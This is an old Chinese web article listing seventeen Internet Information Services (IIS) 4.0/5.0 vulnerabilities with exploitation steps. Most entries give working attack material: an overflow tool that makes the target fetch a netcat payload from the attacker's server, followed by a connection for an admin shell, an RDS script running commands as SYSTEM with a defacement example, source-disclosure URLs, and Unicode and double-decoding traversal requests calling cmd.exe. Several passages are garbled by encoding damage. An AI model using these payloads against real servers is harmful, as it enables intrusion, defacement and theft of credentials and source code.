首页 电脑学院 黑客教程 网站技术 网页特效 免费论文 公文写作 演讲发言 实用文档 职场指南 时尚生活 情感男女 其他资讯

您的位置:首页-> 网站技术-> 服务器技术-> IIS的十七个常见漏洞
IIS的十七个常见漏洞

1. iis4hack缓冲溢出

主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求 
没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 
在系统中下载和执行程序。 

要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 
的站点www.technotronic.com去下载,另外你?..己的WEB服务器。 

你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应 
的目录下,然后使用iishack.exe来检查目标机器: 
c:\\>iishack.exe  80 /ncx.exe 
然后你就使用netcat来连接你要检测的服务器: 
c:\\>nc  80 
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。 

利用程序见iis4hack.zip 

2.msadc 

IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行 
你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 
它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行, 
其一般默认情况下是SYSTEM用户。 

利用程序为msadc2.pl,我们看看它的help 

[quack@chat quack]$ perl msadc2.pl -h 
-- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 

Usage: msadc.pl -h  { -d  -X -v } 
-h  = host you want to scan (ip or domain) 
-d  = delay between calls, default 1 second 
-X = dump Index Server path table, if available 
-N = query VbBusObj for NetBIOS name 
-V = use VbBusObj instead of ActiveDataFactory 
-v = verbose 
-e = external dictionary file for step 5 
-u <\\\\host\\share\\file> = use UNC file 
-w = Windows 95 instead of Windows NT 
-c = v1 compatibility (three step query) 
-s  = run only step  

Or a -R will resume a (v2) command session 

[quack@chat quack]$ perl msadc2.pl -http://www.targe.com/ ;
-- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
Type the command line you want to run (cmd /c assumed): 
cmd /c 

如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: 
echo hacked by me > d:\\inetpub\\wwwroot\\victimweb\\index.htm 

3.Codebrws.asp 

察看文件源代码 
http://www.victim.com/iisamples/exa...ks/codebrws.asp ;

4.Showcode.asp 

察看文件源代码 
http://www.victim.com/msadc/samples..../winnt/win.ini ;

5.Null.htw 

察看文件源代码 
http://www.victim.com/null.htw?CiWe...HiliteType=full ;

6.webhits.dll & .htw 

hit-highligting功能是由Index Server提供的允许一个WEB用户在 
文档上highlighted(突出)他们原妓阉鞯奶跄浚
飧鑫牡档拿ü?
变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 
来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递 
给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他 
脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目: 

http://www.victim.com/nosuchfile.htw ;

如果你从服务器端获得如下信息: 

format of the QUERY_STRING is invalid 

这就表示你存在这个漏洞。 

这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消 
这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw 
文件,一般会发现如下的程序: 

/iissamples/issamples/oop/qfullhit.htw 
/iissamples/issamples/oop/qsumrhit.htw 
/isssamples/exair/search/qfullhit.htw 
/isssamples/exair/search/qsumrhit.htw 
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用) 

一个攻击者可以使用如下的方法来访问系统中文件的内容: 

http://www.victim.com/iissamples/is...p/qfullhit.htw? ;
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full 

就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 

要查看一些.asp文件的内容,你可以请求如下的URL: 
http://www.victim.com/default.asp::$DATA你就得到了源代码 

8.ASP Dot Bug 

在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。 
http://www.victim.com/sample.asp. ;

9.ISM.DLL 

这个漏洞是由Cerberus Information Security team.最早发现的,它运行 
在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件 
名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS, 
会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL 
ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 
程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 
一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 
除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经 
发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 
第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行 
多次攻击。 

http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr 

10. .idc & .ida Bugs 

这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息, 
很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida? 
后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果 
此.idc不存在,它就返回一些信息给客户端。 

http://www.victim.com/anything.idc ;或者 anything.idq 

11.+.htr Bug 

对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露: 
http://www.victim.com/global.asa+.htr ;

12.NT Site Server Adsamples 

通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 
可能获得一些如数据库中的DSN,UID和PASS的一些信息,如: 

http://www.victim.com/adsamples/config/site.csc ;

13./iisadmpwd 

IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户 
帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。 

每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 
.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 
在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB 
来修改用户的帐号和密码。这个目录物理映射在下面的目录下: 
c:\\winnt\\system32\\inetsrv\\iisadmpwd 
Achg.htr 
Aexp.htr 
Aexp2.htr 
Aexp2b.htr 
Aexp3.htr 
Aexp4.htr 
Aexp4b.htr 
Anot.htr 
Anot3.htr 

这样,攻击者可以通过暴力来猜测你的密码。 

14.Translate:f Bug 

泄露asp文件源代码 
存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中, 
当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 
后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 
为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0 
上也有这个漏洞。 
利用程序: trasn1.pl,trans2.pl 

15.Unicode 
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在 
一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时, 
如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 
的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。 

http://www.victim.com/s cripts/..%c1.../cmd.exe?/c+dir 
http://www.victim.com/s cripts/..%c0.../cmd.exe?/c+dir 
http://www.victim.com/s cripts/..%c1.../cmd.exe?/c+dir 

http://www.victim.com/a.asp/..%c1%1..../winnt/win.ini ;

可能需要察看以下几个目录 

GET /s cripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n 
GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n 
GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n 
GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n 
GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n 

eeye开发了工具包iishack1.5针对这一漏洞进行测试 

16.iis5.0 缓冲溢出 

微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其\"Host:\"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。 

利用程序见iis5hack.zip 

17.IIS CGI文件名二次解码漏洞 

IIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为\".exe\"或\".com\"等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。 通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对\"../\"或\"./\"的检查,在某些条件下,攻击者可以执行任意系统命令。 

例如,对于’\\’这个字符,正常编码后是%5c。这三个字符对应的编码为: 
’%’ = %25 
’5’ = %35 
’c’ = %63 

如果要对这三个字符再做一次编码,就可以有多种形式,例如: 
%255c 
%%35c 
%%35%63 
%25%35%63 
... 

因此,\"..\\\"就可以表示成\"..%255c\"或\"..%%35c\"等等形式。 

在经过第一次解码之后,变成\"..%5c\"。IIS会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成\"..\\\"。因此攻击者就可以使用\"..\\\"来进行目录遍历,执行web目录之外的任意程序。



在百度中查找更多IIS的十七个常见漏洞的内容
职场宝典   职场故事   职场跳槽   职场文化   职场理财   职场充电   情感天地   职场女性   职场礼仪   职场新人
报告总结   述职报告 工作总结 调查报告 工作汇报 计划方案 个人总结 社会实践 规章制度 调研报告 
  实习报告 考察报告 辞职报告 
演讲发言   竞职演说   就职演说   精彩演说   爱国演讲   英语演讲   十七大演讲   安全生产演讲稿   
节日祝福   重阳节 国庆节 教师节 中秋节 情人节 七夕节 劳动节 妇女节 清明节 愚人节 春节 元旦 圣诞节  儿童节  端午节 母亲节 新婚祝福 生日祝福 
讲话致辞   开业开幕   会议主持   庆典致辞   会议发言   党风廉政   党政报告   贺电慰问   婚丧嫁娶   思想宣传
法律常识   基本常识   法律文书   权益常识   劳动保障   婚姻继承   民事诉讼   刑事诉讼   
党建材料   入党申请   思想学习   党性分析   思想汇报   转正申请   民主生活   党委党建   入团申请   申报材料
求职简历   个人简历   求职自荐   求职谋略   面试技巧   求职英语   自我鉴定   英文简历   简历封面
心得体会   心得体会   经验交流   读后感   
时政热点   和谐社会   先进性教育   新农村建设   十七大   八荣八耻   科学发展观   劳动合同法   
人际沟通   社交技巧   社交礼仪   口才技巧   谈话技巧   演讲技巧   
营销技巧   电话销售   网络销售   推销技巧   促销技巧   销售口才   营销手段   销售技巧   谈判技巧   

“ IIS的十七个常见漏洞”来源于网络,版权归作者所有!勿用于商业用途。

服务器技术

ASP技术
PHP技术
JSP技术
.NET技术
服务器技术
数据库开发
其它类

本类阅读TOP10

·DNS服务器配置
·ICMP详解
·用MDaemon搭建邮件服务器
·跟我学用Foxmail收Hotmail邮件
·域名和邮件服务器FAQ
·Windows2003技巧
·邮件-域名-DNS相关知识
·发送邮件常见出错代码
·在unix linux下安装配置DHCP服务
·怎么样才能够做好一个网站

广告


关于本站|服务条款|广告服务|客服中心|发布文章|网站留言